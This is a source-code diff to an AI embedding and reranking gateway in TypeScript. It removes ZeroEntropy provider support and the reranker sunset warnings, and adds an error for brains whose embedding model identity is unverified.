@@ -176,25 +158,6 @@ const QWEN3_EMBEDDING_NATIVE_DIMS: Record<string, number> = {
'qwen3-embedding-8b': 4096,
};
-/**
- * Build the providerOptions blob for embedMany() that pins output dimensions.
- *
- * Matryoshka providers (OpenAI text-embedding-3, Gemini embedding-001) can be
- * asked to return reduced-dim vectors. Anthropic does not take a dimension
- * parameter. Most openai-compatible providers do not either. Voyage's
- * endpoint accepts `output_dimension`, but the AI SDK openai-compatible
- * adapter only forwards `dimensions`; gateway.ts translates that field to
- * Voyage's wire name in voyageCompatFetch.
- *
- * v0.35.0.0+ 4th param `inputType`: 'query' | 'document' for asymmetric
- * providers (ZE zembed-1, Voyage v3+, MiniMax embo-01). When omitted, the
- * existing document-encoding behavior is preserved (no `input_type` field
- * emitted for symmetric providers; legacy hardcoded `type:'db'` for
- * embo-01). gateway.embedQuery() threads `'query'`; gateway.embed() threads
- * `'document'`. Per-model filtering happens INSIDE the switch — the field
- * is NEVER emitted for providers that don't accept it (OpenAI text-3,
- * DashScope, Zhipu) so the request body stays clean for those endpoints.
- */
export function dimsProviderOptions(
implementation: Implementation,
modelId: string,
@@ -234,26 +197,6 @@ export function dimsProviderOptions(
// Anthropic has no embedding model.
return undefined;
case 'openai-compatible':
- // ZE zembed-1 — flexible Matryoshka dims + asymmetric input_type.
- // Lives BEFORE the generic openai-compatible fall-through to avoid
- // sending input_type to providers (Azure/DashScope/Zhipu) that
- // would reject it.
- if (supportsZeroEntropyDimension(modelId)) {
- if (!isValidZeroEntropyDim(dims)) {
- throw new AIConfigError(
- `ZeroEntropy model "${modelId}" supports dimensions only in ` +
- `{${ZEROENTROPY_VALID_DIMS.join(', ')}}, got ${dims}.`,
- `Set \`embedding_dimensions\` to one of ` +
- `${ZEROENTROPY_VALID_DIMS.join('/')} in your gbrain config.`,
- );
- }
- return {
- openaiCompatible: {
- dimensions: dims,
- input_type: inputType ?? 'document',
- },
- };
- }
// Voyage hosted flexible-dim models — accept `output_dimension`
// (translated by voyageCompatFetch) AND `input_type: query|document`
// for asymmetric retrieval. inputType is opt-in: when undefined,
@@ -283,11 +226,6 @@ export function dimsProviderOptions(
},
};
}
- // Perplexity pplx-embed-v1-* — flexible dims via the native
- // `dimensions` field. Fail-loud when the configured dim is outside
- // the model's range (same rationale as the Voyage/ZE guards: the
- // upstream HTTP 400 misroutes as a transient network error).
- // Symmetric retrieval — inputType is never emitted.
if (isPerplexityEmbeddingModel(modelId)) {
if (!isValidPerplexityDim(modelId, dims)) {
const max = maxPerplexityEmbeddingDim(modelId)!;
diff --git a/src/core/ai/gateway.ts b/src/core/ai/gateway.ts
index 9cf8fc44f2..f4ca33efbd 100644
--- a/src/core/ai/gateway.ts
+++ b/src/core/ai/gateway.ts
@@ -106,23 +106,12 @@ function withDefaultTimeout(caller: AbortSignal | undefined, timeoutMs: number):
}
const MAX_CHARS = 8000;
-// v0.46.3 SPLIT-DEFAULT: DEFAULT_EMBEDDING_MODEL / DEFAULT_EMBEDDING_DIMENSIONS
-// are now the LEGACY CONFIGLESS RUNTIME FALLBACK only (brains with no
-// `embedding_model` in file config, whose stored vectors live in ZE's 1280d
-// space). ZeroEntropy's hosted API shuts down on ZEROENTROPY_SUNSET_DATE; the
-// September removal release deletes this fallback. Every NEW-INSTALL surface
-// reads NEW_INSTALL_DEFAULT_* instead — full rationale in ./defaults.ts.
-// Re-exported from the leaf `defaults.ts` so heavy schema/registry modules
-// don't transitively load every provider SDK just to read the defaults.
export { DEFAULT_EMBEDDING_MODEL, DEFAULT_EMBEDDING_DIMENSIONS } from './defaults.ts';
import {
DEFAULT_EMBEDDING_MODEL,
DEFAULT_EMBEDDING_DIMENSIONS,
- NEW_INSTALL_DEFAULT_EMBEDDING_MODEL,
DEFAULT_RERANKER_MODEL,
renderCanonicalMigrationCommands,
- rerankerSunset, sunsetDateHasPassed,
- type RerankerSunset,
} from './defaults.ts';
import { logRerankFailure, type RerankFailureReason } from '../rerank-audit.ts';
const DEFAULT_EXPANSION_MODEL = 'anthropic:claude-haiku-4-5-20251001';
@@ -243,27 +232,6 @@ export class VoyageResponseTooLargeError extends Error {
}
}
-/**
- * v0.35.0.0+: same defense pattern as Voyage's cap but tagged separately so the
- * `instanceof` rethrow inside zeroEntropyCompatFetch only matches its own
- * throws (avoids cross-recipe entanglement if both shims fire in the same
- * process). Plan called for unifying these into one
- * `EmbeddingResponseTooLargeError` class — descoped because
- * `test/voyage-response-cap.test.ts` does structural source-text greps
- * pinning the Voyage name. Unification is a follow-up cleanup.
- */
-const MAX_ZEROENTROPY_RESPONSE_BYTES = 256 * 1024 * 1024;
-
-export class ZeroEntropyResponseTooLargeError extends Error {
- constructor(message: string) {
- super(message);
- this.name = 'ZeroEntropyResponseTooLargeError';
- }
-}
-
-/** Perplexity twin of the Voyage/ZE OOM caps (#1046). Int8 components are
- * 1 byte each, so a real response (512 texts × 2560 dims) is ~1.3 MB —
- * anything near this cap is unambiguously not legitimate. */
const MAX_PERPLEXITY_RESPONSE_BYTES = 256 * 1024 * 1024;
export class PerplexityResponseTooLargeError extends Error {
@@ -462,19 +430,15 @@ export function recipeSupportsStructuredOutputs(recipe: Recipe): boolean {
/** Configure the gateway. Called by cli.ts#connectEngine. Clears cached models. */
export function configureGateway(config: AIGatewayConfig): void {
_config = {
- embedding_model: config.embedding_model ?? DEFAULT_EMBEDDING_MODEL,
+ embedding_model: config.embedding_model,
+ embedding_identity_unverified: config.embedding_identity_unverified,
// #1292/D6: do NOT fabricate a default here. Every gateway-internal reader
// already applies `?? DEFAULT_EMBEDDING_DIMENSIONS` (getEmbeddingDimensions,
// embedQuery, the dim self-check) or `?? 0` (the multimodal path, which is
// designed to SKIP validation when the dim is unknown rather than fabricate
- // one). Backfilling 1280 here erased the "user never set a dimension" signal,
- // which (a) defeated that intended skip and (b) let a user-provided recipe
- // with no explicit dim look fully-configured to diagnoseEmbedding and then
- // fail with a cryptic wrong-width error at embed time. Keep it honest.
+ // one).
embedding_dimensions: config.embedding_dimensions,
embedding_multimodal_model: config.embedding_multimodal_model,
- // #4107: stays undefined when unset so getImageOcrModel() keeps the
- // "fall back to the expansion model" signal honest.
embedding_image_ocr_model: config.embedding_image_ocr_model,
expansion_model: config.expansion_model ?? DEFAULT_EXPANSION_MODEL,
chat_model: config.chat_model ?? DEFAULT_CHAT_MODEL,
@@ -681,26 +645,6 @@ function warnRecipesMissingBatchTokens(): void {
}
}
-/**
- * Test-only reset baseline (#3554). The bunfig preload
- * (`test/helpers/legacy-embedding-preload.ts`) pins the gateway to the legacy
- * OpenAI/1536 config at process start, but `resetGateway()` used to wipe that
- * pin to `_config = null`. The next test file's engine connect then
- * reconfigured from the SHIPPED default (zembed-1 @ 1280) and every 1536-d
- * fixture in that file exploded with `expected 1280 dimensions, not 1536` —
- * a cross-file mine whose placement depended on shard bin-packing.
- *
- * When a baseline factory is registered, `resetGateway()` means "back to the
- * test baseline" instead of "unconfigured": it clears everything as before,
- * then re-applies the factory's config via `configureGateway()`. A factory
- * (not a frozen config) so each re-application captures fresh
- * `process.env`, matching the preload's original `applyLegacy()` semantics.
- *
- * Production is untouched: nothing in `src/` calls `resetGateway()` or this
- * setter, so in production the baseline is never registered and
- * `resetGateway()` still fully unconfigures. Same `__*ForTests` seam
- * convention as `__setEmbedTransportForTests` above.
- */
let _resetBaseline: (() => AIGatewayConfig) | null = null;
/**
@@ -834,11 +778,27 @@ export function requireConfig(): AIGatewayConfig {
/** Public config accessors (for schema setup, doctor, etc.). */
export function getEmbeddingModel(): string {
- return requireConfig().embedding_model ?? DEFAULT_EMBEDDING_MODEL;
+ const cfg = requireConfig();
+ if (cfg.embedding_identity_unverified) throw unverifiedEmbeddingIdentityError();
+ return cfg.embedding_model ?? DEFAULT_EMBEDDING_MODEL;
+}
+
+export function getEmbeddingModelProvenance(): string | null {
+ const cfg = requireConfig();
+ return cfg.embedding_identity_unverified ? null : cfg.embedding_model?.trim() || null;
}
export function getEmbeddingDimensions(): number {
- return requireConfig().embedding_dimensions ?? DEFAULT_EMBEDDING_DIMENSIONS;
+ const cfg = requireConfig();
+ if (cfg.embedding_identity_unverified) throw unverifiedEmbeddingIdentityError();
+ return cfg.embedding_dimensions ?? DEFAULT_EMBEDDING_DIMENSIONS;
+}
+
+function unverifiedEmbeddingIdentityError(): AIConfigError {
+ return new AIConfigError(
+ 'This brain has no explicit embedding model. Its stored vectors must not be interpreted using a new default. Run gbrain migrate embeddings --status and preview an explicit migration with --dry-run.',
+ `Run gbrain migrate embeddings --status, then ${renderCanonicalMigrationCommands().recommendedDryRun}. Review the cost and explicitly approve the migration. Keyword search and read-only access remain available.`,
+ );
}
/**
@@ -915,6 +875,9 @@ export type EmbeddingDiagnosis =
| { ok: false; reason: 'missing_env'; model: string; provider: string; recipeId: string; missingEnvVars: string[] };
export function diagnoseEmbedding(modelOverride?: string): EmbeddingDiagnosis {
+ if (_config?.embedding_identity_unverified && !modelOverride) {
+ return { ok: false, reason: 'unknown_provider', model: 'unconfigured', provider: 'unconfigured', message: unverifiedEmbeddingIdentityError().message };
+ }
// Test-transport fast path: matches the `if (touchpoint === 'chat' &&
// _chatTransport) return true` shortcut in isAvailable() so tests that
// install an embed transport stub also pass the preflight without
@@ -944,7 +907,9 @@ export function diagnoseEmbedding(modelOverride?: string): EmbeddingDiagnosis {
reason: 'unknown_provider',
model: modelStr,
provider: providerId,
- message: err instanceof Error ? err.message : String(err),
+ message: err instanceof AIConfigError && err.fix
+ ? `${err.message} ${err.fix}`
+ : err instanceof Error ? err.message : String(err),
};
}
@@ -1071,24 +1036,6 @@ export function isAvailable(touchpoint: TouchpointKind, modelOverride?: string):
// ---- Embedding ----
-/**
- * Carries the asymmetric-embedding `input_type` ('query' | 'document')
- * across the AI SDK boundary, from embedSubBatch() to the per-recipe fetch
- * shims below (#1400).
- *
- * Why this exists: `dimsProviderOptions()` correctly emits `input_type`
- * into `providerOptions.openaiCompatible` for asymmetric models (ZE
- * zembed-1, Voyage v3+), but the AI SDK's openai-compatible adapter
- * validates providerOptions against a fixed schema (`dimensions`, `user`)
- * and silently DROPS every other field before building the wire body. By
- * the time a compat shim sees the request, the threaded 'query' is gone —
- * so every embedQuery() was encoded document-side and asymmetric retrieval
- * silently collapsed to surface-token overlap.
- *
- * embedSubBatch() populates the store only when providerOptions actually
- * threads an input_type; shims that need a default (ZE) apply their own.
- * Same module-level ALS pattern as `__budgetStore` below.
- */
const __embedInputTypeStore = new AsyncLocalStorage<'query' | 'document'>();
/**
@@ -1240,24 +1187,6 @@ const voyageCompatFetch = (async (input: RequestInfo | URL, init?: RequestInit)
}
}) as unknown as typeof fetch;
-/**
- * ZeroEntropy compatibility shim. ZE's `/v1/models/embed` endpoint is NOT
- * OpenAI-compatible at the wire level:
- * - Path: AI SDK adapter calls `${base_url}/embeddings`; ZE wants
- * `${base_url}/models/embed`. Rewrite the URL path.
- * - Body: inject `input_type: 'document'` (or `'query'` when threaded via
- * providerOptions.openaiCompatible.input_type) and `encoding_format:
- * 'float'` (don't trust SDK default; strip any base64 caller injected
- * to keep the response rewriter simple).
- * - Response: ZE returns `{results: [{embedding: float[]}], usage:
- * {total_bytes, total_tokens}}`. AI SDK's openai-compatible Zod schema
- * expects `{data: [{embedding, index}], usage: {prompt_tokens, ...}}`.
- * Rewrite both shapes.
- *
- * Layer 1 / Layer 2 OOM caps mirror the Voyage pattern; ZE embeddings are
- * float[] (not base64), so the Layer 2 cap compares against the JSON
- * payload size of each embedding rather than a base64 string length.
- */
/**
* NVIDIA NIM compatibility shim. NVIDIA uses the OpenAI embeddings wire
* shape but requires asymmetric input_type values: query for retrieval and
@@ -1282,171 +1211,6 @@ const nvidiaCompatFetch = (async (input: RequestInfo | URL, init?: RequestInit)
return fetch(input as any, baseInit);
}) as unknown as typeof fetch;
-const zeroEntropyCompatFetch = (async (input: RequestInfo | URL, init?: RequestInit) => {
- // OUTBOUND: normalize URL, rewrite path /embeddings → /models/embed, then
- // rewrite body. fetch accepts RequestInfo (string | Request) | URL; we
- // handle all three so a `new Request(...)`-shaped caller works.
- let urlString: string;
- let baseInit: RequestInit = init ?? {};
- if (typeof input === 'string') {
- urlString = input;
- } else if (input instanceof URL) {
- urlString = input.toString();
- } else {
- // input is a Request — pull URL + headers + method + body off it.
- urlString = input.url;
- baseInit = {
- method: input.method,
- headers: input.headers,
- // Reading body off a Request consumes it; the test seam passes
- // string/URL so this branch is rarely hit in practice. When it is,
- // we copy what we can and trust the caller passes the body via init.
- ...(init ?? {}),
- };
- }
- try {
- const u = new URL(urlString);
- // Replace the trailing path segment '/embeddings' with '/models/embed'.
- // `base_url_default` ends with `/v1`, so the SDK calls `/v1/embeddings`
- // and we rewrite to `/v1/models/embed`. Use endsWith to avoid mangling
- // any future ZE endpoints that happen to contain 'embeddings' as a
- // substring.
- if (u.pathname.endsWith('/embeddings')) {
- u.pathname = u.pathname.slice(0, -'/embeddings'.length) + '/models/embed';
- urlString = u.toString();
- }
- } catch {
- // Malformed URL — let fetch handle the error.
- }
-
- // Rewrite request body: inject input_type + encoding_format, strip any
- // base64 the caller smuggled in.
- if (baseInit.body && typeof baseInit.body === 'string') {
- try {
- const parsed = JSON.parse(baseInit.body);
- if (parsed && typeof parsed === 'object') {
- let mutated = false;
- // Force encoding_format: 'float' so the response is a plain
- // float[] and the response-rewriter doesn't need to base64-decode.
- if (parsed.encoding_format !== 'float') {
- parsed.encoding_format = 'float';
- mutated = true;
- }
- // Recover the SDK-stripped input_type (#1400): the threaded value
- // arrives via __embedInputTypeStore because the openai-compatible
- // adapter drops it from providerOptions before building the body.
- // Document-side default preserved for paths that didn't thread one
- // (ingest).
- if (parsed.input_type === undefined) {
- parsed.input_type = __embedInputTypeStore.getStore() ?? 'document';
- mutated = true;
- }
- if (mutated) {
- const headers = new Headers(baseInit.headers ?? {});
- headers.delete('content-length');
- baseInit = { ...baseInit, body: JSON.stringify(parsed), headers };
- }
- }
- } catch {
- // Body wasn't JSON — pass through untouched.
- }
- }
-
- const resp = await fetch(urlString, baseInit);
- if (!resp.ok) return resp;
- const ct = resp.headers.get('content-type') ?? '';
- if (!ct.toLowerCase().includes('application/json')) return resp;
-
- // Layer 1 OOM cap (Content-Length pre-check). Same sizing rationale as
- // Voyage — 256 MB is "unambiguously not a real ZE response" given
- // zembed-1's max 2560-dim × 4 bytes × 16K embeddings = ~160 MB raw.
- const contentLengthHeader = resp.headers.get('content-length');
- if (contentLengthHeader) {
- const len = parseInt(contentLengthHeader, 10);
- if (Number.isFinite(len) && len > MAX_ZEROENTROPY_RESPONSE_BYTES) {
- throw new ZeroEntropyResponseTooLargeError(
- `ZeroEntropy response Content-Length=${len} exceeds ` +
- `${MAX_ZEROENTROPY_RESPONSE_BYTES} bytes — likely compromised endpoint`,
- );
- }
- }
-
- // INBOUND: rewrite response shape from {results:[{embedding}]} to
- // {data:[{embedding, index}]} so the AI SDK's openai-compatible schema
- // validates. Also map usage.total_tokens → prompt_tokens (SDK requires
- // prompt_tokens when `usage` is present — same divergence Voyage hit at
- // gateway.ts:655).
- try {
- const json: any = await resp.clone().json();
- if (!json || typeof json !== 'object') return resp;
- let modified = false;
- if (Array.isArray(json.results) && !Array.isArray(json.data)) {
- // Layer 2 OOM cap — per-embedding size. ZE returns float[] arrays,
- // so we count the elements × 4 bytes (the float32 width).
- for (const item of json.results) {
- if (item && Array.isArray(item.embedding)) {
- const estBytes = item.embedding.length * 4;
- if (estBytes > MAX_ZEROENTROPY_RESPONSE_BYTES) {
- throw new ZeroEntropyResponseTooLargeError(
- `ZeroEntropy embedding exceeds ${MAX_ZEROENTROPY_RESPONSE_BYTES} ` +
- `bytes (estimated ${estBytes} from ${item.embedding.length} floats)`,
- );
- }
- }
- }
- json.data = json.results.map((r: any, i: number) => ({
- object: 'embedding',
- embedding: r?.embedding ?? [],
- index: i,
- }));
- delete json.results;
- modified = true;
- }
- if (
- json.usage &&
- typeof json.usage === 'object' &&
- json.usage.prompt_tokens === undefined
- ) {
- json.usage.prompt_tokens =
- typeof json.usage.total_tokens === 'number' ? json.usage.total_tokens : 0;
- // SDK also expects total_tokens; ZE provides it directly.
- modified = true;
- }
- if (!modified) return resp;
- return new Response(JSON.stringify(json), {
- status: resp.status,
- statusText: resp.statusText,
- headers: resp.headers,
- });
- } catch (err) {
- // OOM-cap throws MUST propagate. Voyage's pattern: instanceof check on
- // its own tagged class. Same here — only rethrow our own cap class.
- if (err instanceof ZeroEntropyResponseTooLargeError) throw err;
- return resp;
- }
-}) as unknown as typeof fetch;
-
-/**
- * Generic asymmetric-embedding shim for openai-compatible recipes that
- * ship no compat fetch of their own (llama-server, litellm, ollama, ...).
- * Those deployments are the canonical local/proxy paths for serving
- * asymmetric models (e.g. a zembed-1 behind llama.cpp, vLLM, or an
- * OpenAI-compatible proxy), and they need the same `input_type` signal the
- * hosted ZE endpoint gets — the serving layer can't apply query-side vs
- * document-side encoding without it.
- *
- * Strictly opt-in at the wire level: when no input_type was threaded (the
- * model isn't asymmetric — dims.ts threads it by model id, never for
- * Azure/DashScope/Zhipu-style fixed models — or the caller didn't ask),
- * the request passes through byte-identical. When one WAS threaded
- * (recovered from __embedInputTypeStore — see #1400), inject it into the
- * JSON body; OpenAI-compatible servers that don't understand the field
- * ignore unknown body keys (llama-server does), and asymmetric-aware
- * servers/proxies read it. URL + response shape are untouched — these
- * endpoints are already OpenAI-shaped. Recipes with their own compat
- * fetch (voyage, zeroentropyai, azure) never reach this shim: the
- * `compat.fetch ??` precedence in instantiateEmbedding wins.
- */
const openAICompatAsymmetricFetch = (async (input: RequestInfo | URL, init?: RequestInit) => {
const threadedInputType = __embedInputTypeStore.getStore();
if (threadedInputType === undefined) return fetch(input as any, init);
@@ -1573,32 +1337,20 @@ export const perplexityCompatFetch = (async (input: RequestInfo | URL, init?: Re
}
}) as unknown as typeof fetch;
-/**
- * v0.46.3 once-per-(recipe,touchpoint) sunset warning. Fires when a recipe with
- * `sunset` metadata is actually USED (embedding resolution / rerank call), so
- * brains still riding a dying provider hear about it on every process, not
- * only at upgrade time. Module-level memoization (same pattern as
- * storage-config.ts's deprecation warn); `_resetSunsetWarningsForTest()` is
- * the test seam. Never throws — a warning must not take down an embed.
- */
-const _sunsetWarned = new Set<string>();
-export function _resetSunsetWarningsForTest(): void {
- _sunsetWarned.clear();
- _sunsetShortCircuited.clear();
- _noKeyNoticed.clear();
-}
-
/**
* v0.48.2 `no_key` preflight traceability. The default reranker is keyed on
* VOYAGE_API_KEY; a brain without it would otherwise burn one 'auth' audit
* row PER SEARCH (the gateway's applyResolveAuth throws AIConfigError for the
- * missing key). Mirror of sunsetShortCircuitOnce MINUS the stderr line: the
+ * missing key). The
* FIRST skip per process per model writes ONE `no_key` row to the
* rerank-failures audit JSONL (doctor's reranker_health + `gbrain search
* modes` read it); nothing is printed — shell-per-query agents would see a
* line on every search, and today's keyless state is stderr-silent.
*/
const _noKeyNoticed = new Set<string>();
+export function _resetRerankWarningsForTest(): void {
+ _noKeyNoticed.clear();
+}
function noKeyOnce(modelStr: string, keyName: string, query: string, docCount: number): void {
try {
if (_noKeyNoticed.has(modelStr)) return;
@@ -1619,102 +1371,9 @@ function noKeyOnce(modelStr: string, keyName: string, query: string, docCount: n
}
}
-/**
- * #3657 post-sunset rerank short-circuit. Once a listed reranker's hosted API
- * has passed its announced shutdown date, every gateway.rerank() call against
- * it can only burn the per-query timeout (up to 5s) before failing — so the
- * check below skips the HTTP call entirely and applyReranker fails open at
- * once. It runs where the EFFECTIVE model is resolved (inside rerank(), after
- * `input.model ?? getRerankerModel() ?? DEFAULT_RERANKER_MODEL`) because the
- * main case is an ABSENT per-call model landing on the configured/legacy
- * default. Same base-URL-override suppression as warnSunsetOnce: a
- * self-hosted wire-compatible endpoint outlives the hosted shutdown.
- *
- * Traceability (F3): the FIRST short-circuit per process per model writes one
- * `sunset_short_circuit` row to the rerank-failures audit JSONL (doctor's
- * reranker_health signal) and one stderr line — per-query rows would flood
- * the audit file on every search until the user migrates. The injected clock
- * (`__setSunsetClockForTests`) exists for date-matrix tests only.
- */
-const _sunsetShortCircuited = new Set<string>();
-let _sunsetClock: (() => Date) | null = null;
-export function __setSunsetClockForTests(fn: (() => Date) | null): void {
- _sunsetClock = fn;
-}
-function sunsetHasPassed(sunset: RerankerSunset): boolean {
- // Shared date-itself-counts comparison with doctor's provider_sunset check
- // (defaults.ts:sunsetDateHasPassed) so the two surfaces cannot drift.
- return sunsetDateHasPassed(sunset.date, _sunsetClock ? _sunsetClock() : undefined);
-}
-function sunsetShortCircuitOnce(
- modelStr: string,
- sunset: RerankerSunset,
- query: string,
- docCount: number,
-): void {
- try {
- if (_sunsetShortCircuited.has(modelStr)) return;
- _sunsetShortCircuited.add(modelStr);
- logRerankFailure({
- model: modelStr,
- reason: 'sunset_short_circuit',
- query_hash: createHash('sha256').update(query, 'utf8').digest('hex').slice(0, 8),
- doc_count: docCount,
- error_summary:
- `provider sunset ${sunset.date} passed — rerank calls skipped this process ` +
- `(results pass through unreranked); switch: gbrain config set search.reranker.model ${sunset.replacement}`,
- });
- process.stderr.write(
- `[gbrain] reranker ${modelStr} passed its ${sunset.date} provider sunset — rerank calls ` +
- `are skipped (results pass through unreranked). ` +
- `Switch: \`gbrain config set search.reranker.model ${sunset.replacement}\`\n`,
- );
- } catch {
- // Traceability must never block the fail-open path.
- }
-}
-function warnSunsetOnce(recipe: Recipe, touchpoint: 'embedding' | 'reranker'): void {
- try {
- const sunset = recipe.sunset;
- if (!sunset) return;
- // A base-URL override routes this provider id to a user-supplied endpoint
- // (typically a self-hosted wire-compatible server) — the HOSTED shutdown
- // doesn't apply, so a per-call deprecation warning would be a false
- // positive. The removal-release continuity story is carried by the
- // migration notice/banner instead.
- if (_config?.base_urls?.[recipe.id]) return;
- const key = `${recipe.id}:${touchpoint}`;
- if (_sunsetWarned.has(key)) return;
- _sunsetWarned.add(key);
- const replacement =
- touchpoint === 'embedding' ? sunset.replacement?.embedding : sunset.replacement?.reranker;
- // Canonical command (defaults.ts renderer) when the replacement IS the
- // recommended default — always carries the valid --dim; a bespoke
- // replacement falls back to the target's own declared width via --dim
- // omission (the recipe default applies).
- const fix =
- touchpoint === 'embedding'
- ? replacement
- ? replacement === NEW_INSTALL_DEFAULT_EMBEDDING_MODEL
- ? ` Migrate: \`${renderCanonicalMigrationCommands().recommendedDryRun}\``
- : ` Migrate: \`gbrain migrate embeddings --to ${replacement} --dry-run\``
- : ''
- : replacement
- ? ` Switch: \`gbrain config set search.reranker.model ${replacement}\``
- : '';
- process.stderr.write(
- `[gbrain] DEPRECATED: ${recipe.name} ${touchpoint} stops working on ` +
- `${sunset.date}.${sunset.message ? ` ${sunset.message}` : ''}${fix}\n`,
- );
- } catch {
- // Cosmetic; never block the call path.
- }
-}
-
async function resolveEmbeddingProvider(modelStr: string): Promise<{ model: any; recipe: Recipe; modelId: string }> {
const { parsed, recipe } = resolveRecipe(modelStr);
assertTouchpoint(recipe, 'embedding', parsed.modelId);
- warnSunsetOnce(recipe, 'embedding');
const cfg = requireConfig();
const cacheKey = `emb:${recipe.id}:${parsed.modelId}:${cfg.base_urls?.[recipe.id] ?? ''}`;
@@ -1772,7 +1431,6 @@ function instantiateEmbedding(recipe: Recipe, modelId: string, cfg: AIGatewayCon
// request/response shape) when the recipe doesn't ship its own fetch
// wrapper via resolveOpenAICompatConfig. Azure recipes ship their own
// fetch (api-version splice); voyage doesn't — use voyageCompatFetch.
- // ZeroEntropy needs zeroEntropyCompatFetch (URL path + body input_type
// + response shape rewrite + OOM caps). Every other openai-compat
// recipe (llama-server, litellm, ollama, ...) falls through to
// openAICompatAsymmetricFetch so the threaded input_type reaches
@@ -1783,8 +1441,7 @@ function instantiateEmbedding(recipe: Recipe, modelId: string, cfg: AIGatewayCon
compat.fetch ??
(recipe.id === 'voyage'
? voyageCompatFetch
- : recipe.id === 'zeroentropyai'
- ? zeroEntropyCompatFetch
+
: recipe.id === 'nvidia'
? nvidiaCompatFetch
: recipe.id === 'perplexity'
@@ -1861,15 +1518,7 @@ export const NO_BATCH_CAP_SUB_BATCH_ITEMS = 16;
* declared `safety_factor` so a transient miss doesn't permanently cap
* throughput.
*/
-/**
- * Per-call passthroughs for `embed()`. Unifies v0.33.4 cancellation/retry
- * controls and v0.35.0.0 asymmetric-input plumbing into one interface so
- * a future passthrough doesn't churn the call signature again.
- *
- * All fields are optional; production callers that don't pass them get
- * unchanged pre-v0.33.4 behavior with document-side encoding (ZE / Voyage
- * v3+ semantics) as the default.
- */
+
export interface EmbedOpts {
/**
* v0.33.4: propagated to Vercel AI SDK's `embedMany({abortSignal})`.
@@ -1886,14 +1535,6 @@ export interface EmbedOpts {
* rate-limit pressure (3 × N wrapper attempts).
*/
maxRetries?: number;
- /**
- * v0.35.0.0: asymmetric retrieval signal. `'query'` routes through
- * `dimsProviderOptions` so providers that accept query/document
- * encoding (ZE zembed-1, Voyage v3+) produce query-side vectors.
- * Symmetric providers (OpenAI text-3, DashScope, Zhipu) ignore the
- * field. Defaults to undefined (treated as 'document' by the dim
- * resolver — the correct default for indexing paths).
- */
inputType?: 'query' | 'document';
/**
* v0.36 (D10): explicit model override. When set, routes through this
@@ -2230,21 +1871,6 @@ export async function embedOne(text: string, opts?: EmbedOpts): Promise<Float32A
return v;
}
-/**
- * v0.35.0.0+: embed a single text on the QUERY side of an asymmetric retrieval
- * pipeline. Threads `inputType: 'query'` into `dimsProviderOptions`, which
- * for ZE (`zembed-1`) and Voyage v3+ models emits `input_type: 'query'` into
- * the request body so the provider returns query-side vectors. For
- * symmetric providers (OpenAI text-3, DashScope, Zhipu) the field is dropped
- * — no behavior change.
- *
- * Two call sites in v0.33.2: vector seed embed at hybrid.ts:400 (cache miss
- * path) and cache lookup embed at hybrid.ts:629. All ingest paths (sync,
- * import, embed CLI) continue to use `embed()` which defaults to document
- * encoding.
- *
- * Returns a single Float32Array (not a batch).
- */
export async function embedQuery(
text: string,
opts?: { embeddingModel?: string; dimensions?: number; abortSignal?: AbortSignal },
@@ -2292,9 +1918,7 @@ export async function embedMultimodal(
// Prefer embedding_multimodal_model when set, so brains using OpenAI for
// text embeddings can route multimodal to Voyage without changing the
// primary embedding_model. Falls back to embedding_model for single-model setups.
- const modelStr = cfg.embedding_multimodal_model
- ?? cfg.embedding_model
- ?? DEFAULT_EMBEDDING_MODEL;
+ const modelStr = cfg.embedding_multimodal_model ?? getEmbeddingModel();
const { parsed, recipe } = resolveRecipe(modelStr);
const touchpoint = recipe.touchpoints.embedding;
if (!touchpoint?.supports_multimodal) {
@@ -4659,24 +4283,6 @@ export function __setRerankTransportForTests(fn: RerankTransport | null): void {
const DEFAULT_RERANK_TIMEOUT_MS = 5000;
-/**
- * Submit a query + N documents to the configured reranker. Returns a list of
- * `{index, relevanceScore}` sorted by relevanceScore descending (per upstream
- * convention).
- *
- * Resolution order: `input.model` → `getRerankerModel()` → `DEFAULT_RERANKER_MODEL`.
- *
- * Pre-flight: rejects payloads that would exceed
- * `recipe.touchpoints.reranker.max_payload_bytes` (default 5MB for ZE) with
- * `RerankError(reason: 'payload_too_large')`. applyReranker catches this in
- * the fail-open path so search never throws.
- *
- * Errors classified into RerankError.reason for the caller's fail-open
- * decision table. The model list check below is rerank-specific and
- * deliberate (assertTouchpoint never checks model ids): each listed reranker
- * model maps to a known request/response wire shape, so an unknown id could
- * mis-parse a response rather than fail cleanly.
- */
export async function rerank(input: RerankInput): Promise<RerankResult[]> {
if (!input.query) {
throw new RerankError('rerank: query is required', 'unknown');
@@ -4706,23 +4312,6 @@ export async function rerank(input: RerankInput): Promise<RerankResult[]> {
'unknown',
);
}
- // #3657 post-sunset short-circuit (see sunsetShortCircuitOnce): past the
- // provider's announced shutdown, skip the HTTP call entirely and throw the
- // dedicated fail-open reason. Checked HERE — the effective model is resolved
- // by now — and suppressed under a base-URL override (self-host continuity,
- // same rule warnSunsetOnce applies).
- const sunset = rerankerSunset(modelStr);
- if (sunset && !_config?.base_urls?.[recipe.id] && sunsetHasPassed(sunset)) {
- sunsetShortCircuitOnce(modelStr, sunset, input.query, input.documents.length);
- throw new RerankError(
- `Reranker ${modelStr} passed its ${sunset.date} provider sunset — rerank skipped. ` +
- `Switch: gbrain config set search.reranker.model ${sunset.replacement}`,
- 'sunset_short_circuit',
- );
- }
- warnSunsetOnce(recipe, 'reranker');
-
- // Resolve base URL + auth from the recipe (same path Voyage/ZE embeddings use).
const cfg = requireConfig();
// v0.48.2 `no_key` preflight — fail-open, audit-only, once per process per
// model (see noKeyOnce). A recipe without a custom resolveAuth needs every
@@ -4743,13 +4332,12 @@ export async function rerank(input: RerankInput): Promise<RerankResult[]> {
}
}
const compat = applyOpenAICompatConfig(recipe, cfg);
- // v0.40.6.1: rerank URL path is recipe-pluggable. Defaults to ZeroEntropy's
// legacy `/models/rerank`; openai-style providers like llama.cpp's
// llama-server set `/v1/rerank`; Voyage sets `/rerank`. Response shape is
// shared across all current dialects ({results: [{index, relevance_score}]});
// the only request-side difference is the top-N key, declared per recipe via
// `top_param` (v0.46.3).
- const url = `${compat.baseURL.replace(/\/$/, '')}${tp.path ?? '/models/rerank'}`;
+ const url = `${compat.baseURL.replace(/\/$/, '')}${tp.path ?? '/rerank'}`;
let auth: { apiKey?: string; headers?: Record<string, string> };
try {
auth = applyResolveAuth(recipe, cfg, 'reranker');
@@ -4774,7 +4362,6 @@ export async function rerank(input: RerankInput): Promise<RerankResult[]> {
});
// Pre-flight payload size guard (CDX1-F17 / plan Phase 3 cost guard). The
- // 5MB cap matches ZE's upstream limit; over-cap returns payload_too_large
// so applyReranker can fail-open without ever issuing the HTTP request.
